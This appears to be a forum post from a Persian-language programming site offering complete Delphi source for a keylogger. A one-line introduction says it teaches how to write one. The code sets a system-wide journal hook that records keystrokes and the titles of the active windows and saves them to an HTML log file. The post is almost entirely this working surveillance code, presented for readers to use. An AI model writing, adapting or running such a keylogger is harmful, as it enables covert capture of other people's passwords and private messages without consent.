Parsi Coders

Simple keylogger in Delphi
با سورس زیر یاد میگیرید که چگونه یک کیلاگر ستئه با دلفی نوشت

نقل قول:unit KeyloggerUnit;

interface

uses
Windows, Messages, SysUtils, Variants, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons, Classes;

type
TMainForm = class(TForm)
Memo: TMemo;
btnUpdateLogfile: TSpeedButton;
btnClearLogs: TSpeedButton;
FinalMemo: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnUpdateLogfileClick(Sender: TObject);
procedure btnClearLogsClick(Sender: TObject);
end;

var
MainForm: TMainForm;
MainHook : HHOOK;
Wnd1,Wnd2 : array[0..255] of char;

implementation

{$R *.dfm}

function KeyboardHook(Code: Integer; wParam : WPARAM;
lParam : LPARAM): Longint; stdcall;
var
Buffer : TEventMsg;

procedure TranslateKey(Key : Byte);
begin
if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
begin
GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
if wnd1 <> wnd2 then
begin
MainForm.Memo.Lines.Add('<hr>'+wnd2+' ');
Wnd1 := Wnd2;
end;
end;
with MainForm do
begin
case Key of
VK_RETURN : Memo.Lines.Add('[Enter] ');
VK_BACK : Memo.Lines.Add('[Backspace]');
VK_ESCAPE : Memo.Lines.Add('[Esc]');
VK_SHIFT : Memo.Lines.Add('[Shift]');
VK_MENU : Memo.Lines.Add('[Alt]');
VK_CONTROL : Memo.Lines.Add('[Ctrl]');
VK_DELETE : Memo.Lines.Add('[Delete]');
VK_SPACE : Memo.Lines.Add(' ');
VK_MULTIPLY : Memo.Text := Memo.Text + '*';
VK_ADD : Memo.Text := Memo.Text + '+';
VK_SUBTRACT : Memo.Text := Memo.Text + '-';
VK_DECIMAL : Memo.Text := Memo.Text + '.';
VK_DIVIDE : Memo.Text := Memo.Text + '/';
188 : Memo.Text := Memo.Text + ',';
192 : Memo.Text := Memo.Text + '`';
222 : Memo.Text := Memo.Text + ''+Chr(39)+'';
220 : Memo.Text := Memo.Text + '';
219 : Memo.Text := Memo.Text + '[';
221 : Memo.Text := Memo.Text + ']';
186 : Memo.Text := Memo.Text + ';';
191 : Memo.Text := Memo.Text + '/';
190 : Memo.Text := Memo.Text + '.';
44 : Memo.Text := Memo.Text + ',';
187 : Memo.Text := Memo.Text + '=';
189 : Memo.Text := Memo.Text + '-';
65 : Memo.Text := Memo.Text + 'a';
66 : Memo.Text := Memo.Text + 'b';
67 : Memo.Text := Memo.Text + 'c';
68 : Memo.Text := Memo.Text + 'd';
69 : Memo.Text := Memo.Text + 'e';
70 : Memo.Text := Memo.Text + 'f';
71 : Memo.Text := Memo.Text + 'g';
72 : Memo.Text := Memo.Text + 'h';
73 : Memo.Text := Memo.Text + 'i';
74 : Memo.Text := Memo.Text + 'j';
75 : Memo.Text := Memo.Text + 'k';
76 : Memo.Text := Memo.Text + 'l';
77 : Memo.Text := Memo.Text + 'm';
78 : Memo.Text := Memo.Text + 'n';
79 : Memo.Text := Memo.Text + 'o';
80 : Memo.Text := Memo.Text + 'p';
81 : Memo.Text := Memo.Text + 'q';
82 : Memo.Text := Memo.Text + 'r';
83 : Memo.Text := Memo.Text + 's';
84 : Memo.Text := Memo.Text + 't';
85 : Memo.Text := Memo.Text + 'u';
86 : Memo.Text := Memo.Text + 'v';
87 : Memo.Text := Memo.Text + 'w';
88 : Memo.Text := Memo.Text + 'x';
89 : Memo.Text := Memo.Text + 'y';
90 : Memo.Text := Memo.Text + 'z';
{ Numpad Keys }
VK_NUMPAD0 : Memo.Text := Memo.Text + '0';
VK_NUMPAD1 : Memo.Text := Memo.Text + '1';
VK_NUMPAD2 : Memo.Text := Memo.Text + '2';
VK_NUMPAD3 : Memo.Text := Memo.Text + '3';
VK_NUMPAD4 : Memo.Text := Memo.Text + '4';
VK_NUMPAD5 : Memo.Text := Memo.Text + '5';
VK_NUMPAD6 : Memo.Text := Memo.Text + '6';
VK_NUMPAD7 : Memo.Text := Memo.Text + '7';
VK_NUMPAD8 : Memo.Text := Memo.Text + '8';
VK_NUMPAD9 : Memo.Text := Memo.Text + '9';
{ Numbers }
48 : Memo.Text := Memo.Text + '0';
49 : Memo.Text := Memo.Text + '1';
50 : Memo.Text := Memo.Text + '2';
51 : Memo.Text := Memo.Text + '3';
52 : Memo.Text := Memo.Text + '4';
53 : Memo.Text := Memo.Text + '5';
54 : Memo.Text := Memo.Text + '6';
55 : Memo.Text := Memo.Text + '7';
56 : Memo.Text := Memo.Text + '8';
57 : Memo.Text := Memo.Text + '9';
//to capture other keys you must uncomment the line below:
//else Memo.Text := Memo.Text + Chr(Key);
end;
end;
end;

begin
Result := 0;
Buffer := PEventMsg(lParam)^;

if Buffer.Message = WM_KEYUP then
begin
TranslateKey(Buffer.paramL);
end;
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
DeleteFile('log.html');
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;

procedure TMainForm.btnUpdateLogfileClick(Sender: TObject);
begin
//save captured keystrokes to HTML file
FinalMemo.Lines.Add('<body bgcolor="#000000">');
FinalMemo.Lines.Add(Memo.Text);
FinalMemo.Lines.SaveToFile('log.html');
FinalMemo.Lines.Add('</body>');
Memo.Clear;
end;

procedure TMainForm.btnClearLogsClick(Sender: TObject);
begin
//clear the logs
FinalMemo.Clear;
end;

end.

Amin_Mansouri